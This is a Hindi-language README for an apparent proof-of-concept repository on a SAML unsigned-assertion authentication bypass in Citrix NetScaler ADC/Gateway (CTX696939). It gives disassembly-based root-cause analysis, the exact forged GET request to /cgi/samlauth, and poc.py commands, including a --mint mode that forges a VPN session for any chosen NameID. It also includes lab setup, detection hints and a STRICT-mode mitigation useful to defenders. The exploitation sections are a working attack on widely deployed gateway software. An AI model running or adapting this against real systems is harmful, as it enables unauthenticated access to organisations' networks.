
नेटस्केलर ADC/गेटवे SAML अहस्ताक्षरित-अभिकथन बायपास HTTP-रिडायरेक्ट बाइंडिंग के माध्यम से (CTX696939) - मूल कारण विश्लेषण + PoC
Citrix NetScaler ADC / NetScaler Gateway पर GET /cgi/samlauth पर SAML HTTP-Redirect बाइंडिंग हैंडलर के माध्यम से बिना प्रमाणीकरण के सत्र जालसाजी। CVSS 4.0 9.3, CWE-288।
बुलेटिन CTX696939 (2026-08-19), कोई वर्कअराउंड नहीं। मूल रिपोर्ट का श्रेय Samarth Vashisht (JPMorgan Chase पेन-टेस्ट टीम) को जाता है; इस रिपो में रूट-कॉज़ विश्लेषण और कोड मेरा अपना काम है।
प्रभावित: 14.1 से पहले 14.1-73.32, 13.1 से पहले 13.1-63.21। इन दो बिल्ड में फिक्स किया गया।
nsppe, पैकेट इंजन में दो चीज़ें एक साथ गलत होती हैं।
1. रिडायरेक्ट बाइंडिंग स्ट्रिक्ट फ्लैग क्लियर होने पर एसर्शन पार्स करती है।
SAML रिस्पॉन्स पार्सर (sub_b40a50) के सभी कॉल साइट्स कॉल से पहले एक "स्ट्रिक्ट" आर्ग्युमेंट सेट करते हैं। POST बाइंडिंग पाथ (जो ब्राउज़र वास्तव में SAML रिस्पॉन्स के लिए उपयोग करते हैं) इसे सेट करके पास करता है। HTTP-Redirect बाइंडिंग पाथ ऐसा नहीं करता:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- the parser
यह CWE-288 के अर्थ में वैकल्पिक पाथ है। समान रिक्वेस्ट सरफेस, कमज़ोर पार्सर इनवोकेशन, किसी भी व्यक्ति के लिए पहुंच योग्य जो SAMLResponse क्वेरी पैरामीटर के साथ GET भेज सकता है।
2. बिना-हस्ताक्षरित-एसर्शन गेट डिफ़ॉल्ट कॉन्फ़िग को ALLOW मानता है।
रिडायरेक्ट हैंडलर के अंदर, जब रिक्वेस्ट में कोई SigAlg/Signature नहीं होता, तो rejectUnsignedAssertion के लिए कॉन्फ़िग वर्ड की तुलना और ब्रांच इस प्रकार की जाती है:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- jumps to the ACCEPT path
वर्ड मान हैं: 2 = rejectUnsignedAssertion ON (डिफ़ॉल्ट), 3 = STRICT।
je 2 को स्वीकार करने के लिए भेजता है। केवल STRICT डिनाय लॉग लाइन तक पहुंचता है:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
इसलिए डिफ़ॉल्ट-कॉन्फ़िग बॉक्स पर, रिडायरेक्ट बाइंडिंग को दिया गया एक बिना-हस्ताक्षरित एसर्शन पार्स किया जाता है (स्ट्रिक्ट ऑफ), बिना-हस्ताक्षरित गेट से आगे स्वीकार किया जाता है (ON को allow के रूप में गलत पढ़ा गया), और फिर सामान्य पोस्ट-पार्स चरण चलाता है: SAML एक्शन कॉन्फ़िग के विरुद्ध issuer/audience/subject जांच, फिर हमलावर-आपूर्ति किए गए फ़ील्ड से सत्र निर्माण। उस रूट पर कहीं भी कोई डाइजेस्ट या RSA वेरिफाई नहीं। POST बाइंडिंग उसी तरह प्रभावित नहीं है — यह पार्सर को स्ट्रिक्ट पास करती है और बिना-हस्ताक्षरित इनपुट को ठीक से अस्वीकार करती है।
बुलेटिन के अनुसार पूर्वशर्तें, बाइनरी के विरुद्ध पुष्टि की गईं: 14.1-43.56 / 13.1-61.28 से आगे के बिल्ड को Gateway या AAA vserver से बंधे SAML एक्शन की आवश्यकता होती है (सामान्य SAML SSO सेटअप, इसलिए अधिकांश SAML डिप्लॉयमेंट योग्य हैं)। पुराने बिल्ड रूट को केवल vserver के साथ पंजीकृत करते हैं।
एक GET। बिना किसी <ds:Signature> के SAML रिस्पॉन्स बनाएं, उसे DEFLATE + base64 करें, और भेजें:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
वे मान जो लक्ष्य के SAML एक्शन कॉन्फ़िग से मेल खाने चाहिए: एसर्शन Issuer = IdP एंटिटी ID, Audience = SP एंटिटी ID, Recipient/Destination = ACS URL, और ट्रांज़ैक्शनल सेटअप पर लाइव AuthnRequest से InResponseTo। --mint गेटवे के अपने प्री-ऑथ लॉगिन रिडायरेक्ट से उन्हें कैप्चर करने के लिए चलता है (Location हेडर में SAMLRequest उन सभी को ले जाता है)। /vpn/ पर 302 और एक वास्तविक NSC_AAAC / NSC_TASS कुकी (xyz डिलीट मार्कर नहीं) आपके द्वारा डाले गए किसी भी NameID के रूप में एक जाली सत्र है।
pip install requests
# क्या एंडपॉइंट मौजूद है और क्या GET बाइंडिंग SAMLResponse को बिल्कुल प्रोसेस करती है
python3 poc.py https://vpn.target.com --check-only
# गैर-आक्रामक कॉन्फ़िग प्रोब: जानबूझकर गलत issuer के साथ बिना-हस्ताक्षरित एसर्शन।
# 'Malformed Assertion' (0xe0005) -> STRICT, इस वेक्टर के लिए असुरक्षित नहीं
# issuer/policy त्रुटि (0xe0012) -> डिफ़ॉल्ट कॉन्फ़िग, असुरक्षित; कोई सत्र मिंट नहीं
python3 poc.py https://vpn.target.com --safe-oracle
# पूरी चेन (केवल अधिकृत लक्ष्य): SP चेन मिंट करें, जालसाजी करें, एक बार सत्यापित करें
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle मौजूद है क्योंकि दोनों कॉन्फ़िग सत्र-आकार की किसी भी चीज़ से पहले अलग-अलग त्रुटि पेज लौटाते हैं, जो कि डिफेंडर के लिए वास्तविक IdP को छुए बिना स्वयं-जांच करने का तरीका भी है। इसे अपने स्वयं के गियर पर चलाएं।
demo/demo.gif (demo.mp4 भी, और demo/demo.cast यदि आप इसे asciinema play के साथ चलाना चाहते हैं): डॉकर इमेज से प्रभावित बिल्ड, वर्ड-2 डिफ़ॉल्ट कॉन्फ़िग, शिप किए गए nsppe से डिसअसेंबल की गई दो बाइनरी ब्रांच, और PoC एंडपॉइंट जांच। अंतिम चरण, सत्र जारी करना, लाइसेंस प्राप्त VPX की आवश्यकता है — CPX Express लाइसेंस परत पर AAA सत्रों से इनकार करता है — जो lab/record-demo.sh कैप्चर करता है जब आपके पास एक हो।
lab/setup-cpx.sh डॉकर में सटीक प्रभावित बिल्ड लाता है:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
और rejectUnsignedAssertion ON के साथ एक SAML एक्शन, एक पॉलिसी और एक Gateway vserver कॉन्फ़िगर करता है। कठिन तरीके से सीखी गई दो चेतावनियाँ:
/cgi/samlauth परोसता है लेकिन हर रिक्वेस्ट 480 Login exceeds maximum allowed users पर समाप्त होती है। कॉन्फ़िग + एंडपॉइंट + बाइनरी स्थिति को पुन: उत्पन्न करने के लिए पर्याप्त है, अंतिम सत्र कुकी नहीं।lab/record-demo.sh पूरे asciinema अनुक्रम को रिकॉर्ड करता है: संस्करण, कॉन्फ़िग, safe-oracle, जाली सत्र, STRICT नकारात्मक नियंत्रण।ऊपर दिए गए शिप-बाइनरी ऑफसेट सीधे उस इमेज से आते हैं:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT असुरक्षित पाथ पर रिडायरेक्ट वेक्टर को ब्लॉक करता है (यह word==3 बनाता है)। ध्यान रखें STRICT यह भी बदलता है कि बॉक्स आपके IdP से क्या अपेक्षा करता है (Response + Assertion हस्ताक्षर आवश्यकताएँ), जो संभवतः कारण है कि Citrix ON को डिफ़ॉल्ट के रूप में भेजता है और "बस STRICT सेट करें" सभी के लिए एक स्वच्छ वर्कअराउंड क्यों नहीं है।SAMLResponse ले जाने वाले /cgi/samlauth के लिए रिक्वेस्ट (रिडायरेक्ट बाइंडिंग रिस्पॉन्स जंगली में दुर्लभ हैं — ब्राउज़र POST करते हैं), बिना-हस्ताक्षरित पेलोड, और ऊपर दिया गया त्रुटि-पेज अंतर।केवल अधिकृत सुरक्षा परीक्षण के लिए: आपकी अपनी लैब, या लक्ष्य स्पष्ट रूप से एक प्रोग्राम के दायरे में जिस पर आप अधिकृत हैं। लेखक Citrix या मूल रिपोर्टिंग टीम से संबद्ध नहीं है।
MIT लाइसेंस, LICENSE देखें।